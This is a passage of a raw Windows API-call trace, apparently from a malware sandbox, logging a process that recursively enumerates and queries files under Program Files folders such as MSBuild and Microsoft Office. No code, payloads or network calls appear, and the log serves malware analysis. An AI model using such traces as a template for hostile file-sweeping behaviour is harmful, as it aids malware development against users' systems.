	[0273.115] WriteFile (in: hFile=0x0, lpBuffer=0xc00027e0c0, nNumberOfBytesToWrite=0x46, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0273.115] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\smartftp.exe" (normalized: "c:\\program files\\java\\smartftp.exe"), fInfoLevelId=0x0, lpFileInformation=0xc0001df940 | out: lpFileInformation=0xc0001df940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd593b530, ftCreationTime.dwHighDateTime=0x1d5cd07, ftLastAccessTime.dwLowDateTime=0x93f83f20, ftLastAccessTime.dwHighDateTime=0x1d5a362, ftLastWriteTime.dwLowDateTime=0x93f83f20, ftLastWriteTime.dwHighDateTime=0x1d5a362, nFileSizeHigh=0x0, nFileSizeLow=0x13a00)) returned 1
	[0273.115] WriteFile (in: hFile=0x0, lpBuffer=0xc00027e0c0, nNumberOfBytesToWrite=0x3d, lpNumberOfBytesWritten=0xc0001df8f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df8f4, lpOverlapped=0x0) returned 0
	[0273.115] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\whatsapp.exe" (normalized: "c:\\program files\\java\\whatsapp.exe"), fInfoLevelId=0x0, lpFileInformation=0xc0001df940 | out: lpFileInformation=0xc0001df940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf69906d0, ftCreationTime.dwHighDateTime=0x1d5b3a4, ftLastAccessTime.dwLowDateTime=0x87fd25b0, ftLastAccessTime.dwHighDateTime=0x1d5ade8, ftLastWriteTime.dwLowDateTime=0x87fd25b0, ftLastWriteTime.dwHighDateTime=0x1d5ade8, nFileSizeHigh=0x0, nFileSizeLow=0x13a00)) returned 1
	[0273.226] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x3d, lpNumberOfBytesWritten=0xc0001df8f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df8f4, lpOverlapped=0x0) returned 0
	[0273.226] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\MSBuild" (normalized: "c:\\program files\\msbuild"), fInfoLevelId=0x0, lpFileInformation=0xc0001dfa18 | out: lpFileInformation=0xc0001dfa18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7064c17, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe7064c17, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0273.306] CreateFileW (lpFileName="C:\\Program Files\\MSBuild" (normalized: "c:\\program files\\msbuild"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0273.306] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\*", lpFindFileData=0xc0001df7d0 | out: lpFindFileData=0xc0001df7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7064c17, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe7064c17, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0273.307] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df800 | out: lpFindFileData=0xc0001df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7064c17, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe7064c17, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0273.307] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df800 | out: lpFindFileData=0xc0001df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79312f8, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79312f8, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1
	[0273.307] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df800 | out: lpFindFileData=0xc0001df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb71f5c50, ftCreationTime.dwHighDateTime=0x1d5853e, ftLastAccessTime.dwLowDateTime=0xbb6c3510, ftLastAccessTime.dwHighDateTime=0x1d56d80, ftLastWriteTime.dwLowDateTime=0xbb6c3510, ftLastWriteTime.dwHighDateTime=0x1d56d80, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ncftp.exe", cAlternateFileName="")) returned 1
	[0273.307] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df800 | out: lpFindFileData=0xc0001df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x397d9a40, ftCreationTime.dwHighDateTime=0x1d5ec96, ftLastAccessTime.dwLowDateTime=0x4b177080, ftLastAccessTime.dwHighDateTime=0x1d5d4c9, ftLastWriteTime.dwLowDateTime=0x4b177080, ftLastWriteTime.dwHighDateTime=0x1d5d4c9, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="www succeed sw.exe", cAlternateFileName="WWWSUC~1.EXE")) returned 1
	[0273.307] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df800 | out: lpFindFileData=0xc0001df800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0273.307] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0273.307] WriteFile (in: hFile=0x0, lpBuffer=0xc00027e0c0, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc0001df9cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df9cc, lpOverlapped=0x0) returned 0
	[0273.308] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft" (normalized: "c:\\program files\\msbuild\\microsoft"), fInfoLevelId=0x0, lpFileInformation=0xc0001df940 | out: lpFileInformation=0xc0001df940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79312f8, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79312f8, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0273.308] CreateFileW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft" (normalized: "c:\\program files\\msbuild\\microsoft"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0273.308] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\*", lpFindFileData=0xc0001df6f8 | out: lpFindFileData=0xc0001df6f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79312f8, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79312f8, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0273.308] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79312f8, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79312f8, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0273.308] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79312f8, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79312f8, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 1
	[0273.308] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0273.308] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0273.309] WriteFile (in: hFile=0x0, lpBuffer=0xc00027e0c0, nNumberOfBytesToWrite=0x3d, lpNumberOfBytesWritten=0xc0001df8f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df8f4, lpOverlapped=0x0) returned 0
	[0273.309] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79312f8, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79312f8, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0273.309] CreateFileW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0273.309] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\*", lpFindFileData=0xc0001df620 | out: lpFindFileData=0xc0001df620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79312f8, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79312f8, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd460
	[0273.309] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79312f8, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79312f8, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0273.309] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79312f8, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79312f8, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1
	[0273.309] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe795770f, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe795770f, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1
	[0273.309] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0273.310] FindClose (in: hFindFile=0x192c63cd460 | out: hFindFile=0x192c63cd460) returned 1
	[0273.310] WriteFile (in: hFile=0x0, lpBuffer=0xc00027e0c0, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0273.310] WriteFile (in: hFile=0x0, lpBuffer=0xc00027e0c0, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0273.311] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\MSBuild\\ncftp.exe" (normalized: "c:\\program files\\msbuild\\ncftp.exe"), fInfoLevelId=0x0, lpFileInformation=0xc0001df940 | out: lpFileInformation=0xc0001df940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb71f5c50, ftCreationTime.dwHighDateTime=0x1d5853e, ftLastAccessTime.dwLowDateTime=0xbb6c3510, ftLastAccessTime.dwHighDateTime=0x1d56d80, ftLastWriteTime.dwLowDateTime=0xbb6c3510, ftLastWriteTime.dwHighDateTime=0x1d56d80, nFileSizeHigh=0x0, nFileSizeLow=0x13a00)) returned 1
	[0273.401] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x3d, lpNumberOfBytesWritten=0xc0001df8f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df8f4, lpOverlapped=0x0) returned 0
	[0273.401] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\MSBuild\\www succeed sw.exe" (normalized: "c:\\program files\\msbuild\\www succeed sw.exe"), fInfoLevelId=0x0, lpFileInformation=0xc0001df940 | out: lpFileInformation=0xc0001df940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x397d9a40, ftCreationTime.dwHighDateTime=0x1d5ec96, ftLastAccessTime.dwLowDateTime=0x4b177080, ftLastAccessTime.dwHighDateTime=0x1d5d4c9, ftLastWriteTime.dwLowDateTime=0x4b177080, ftLastWriteTime.dwHighDateTime=0x1d5d4c9, nFileSizeHigh=0x0, nFileSizeLow=0x13a00)) returned 1
	[0273.476] WriteFile (in: hFile=0x0, lpBuffer=0xc00027e0c0, nNumberOfBytesToWrite=0x46, lpNumberOfBytesWritten=0xc0001df8f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df8f4, lpOverlapped=0x0) returned 0
	[0273.476] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office" (normalized: "c:\\program files\\microsoft office"), fInfoLevelId=0x0, lpFileInformation=0xc0001dfa18 | out: lpFileInformation=0xc0001dfa18*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe5b055a0, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe5b055a0, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0273.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office" (normalized: "c:\\program files\\microsoft office"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0273.477] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\*", lpFindFileData=0xc0001df7d0 | out: lpFindFileData=0xc0001df7d0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe5b055a0, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe5b055a0, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0273.477] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df800 | out: lpFindFileData=0xc0001df800*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe5b055a0, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe5b055a0, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0273.477] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df800 | out: lpFindFileData=0xc0001df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d6778e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9dfb986, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf9e9425d, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x5ab2f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.xml", cAlternateFileName="APPXMA~1.XML")) returned 1
	[0273.477] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df800 | out: lpFindFileData=0xc0001df800*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83543a09, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x119, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSystemMetadata.xml", cAlternateFileName="FILESY~1.XML")) returned 1
	[0273.478] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df800 | out: lpFindFileData=0xc0001df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75238fd0, ftCreationTime.dwHighDateTime=0x1d58a96, ftLastAccessTime.dwLowDateTime=0xfdc40370, ftLastAccessTime.dwHighDateTime=0x1d5c78f, ftLastWriteTime.dwLowDateTime=0xfdc40370, ftLastWriteTime.dwHighDateTime=0x1d5c78f, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="negotiations g.exe", cAlternateFileName="NEGOTI~1.EXE")) returned 1
	[0273.478] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df800 | out: lpFindFileData=0xc0001df800*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9e7b530, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa146f18e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda9a8629, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office16", cAlternateFileName="")) returned 1
	[0273.478] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df800 | out: lpFindFileData=0xc0001df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf982bd9c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManifests", cAlternateFileName="PACKAG~1")) returned 1
	[0273.478] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df800 | out: lpFindFileData=0xc0001df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0273.478] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df800 | out: lpFindFileData=0xc0001df800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0273.478] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0273.479] WriteFile (in: hFile=0x0, lpBuffer=0xc00027e0c0, nNumberOfBytesToWrite=0x3b, lpNumberOfBytesWritten=0xc0001df9cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df9cc, lpOverlapped=0x0) returned 0
	[0273.479] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df940 | out: lpFileInformation=0xc0001df940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d6778e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9dfb986, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf9e9425d, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x5ab2f7)) returned 1
	[0273.479] WriteFile (in: hFile=0x0, lpBuffer=0xc00027e0c0, nNumberOfBytesToWrite=0x4d, lpNumberOfBytesWritten=0xc0001df8f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df8f4, lpOverlapped=0x0) returned 0
	[0273.479] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df940 | out: lpFileInformation=0xc0001df940*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83543a09, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x119)) returned 1
	[0273.565] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0xc0001df8f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df8f4, lpOverlapped=0x0) returned 0
	[0273.565] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16" (normalized: "c:\\program files\\microsoft office\\office16"), fInfoLevelId=0x0, lpFileInformation=0xc0001df940 | out: lpFileInformation=0xc0001df940*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9e7b530, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa146f18e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda9a8629, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0273.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16" (normalized: "c:\\program files\\microsoft office\\office16"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0273.648] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\*", lpFindFileData=0xc0001df6f8 | out: lpFindFileData=0xc0001df6f8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9e7b530, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa146f18e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda9a8629, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd460
	[0273.649] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9e7b530, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa146f18e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda9a8629, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
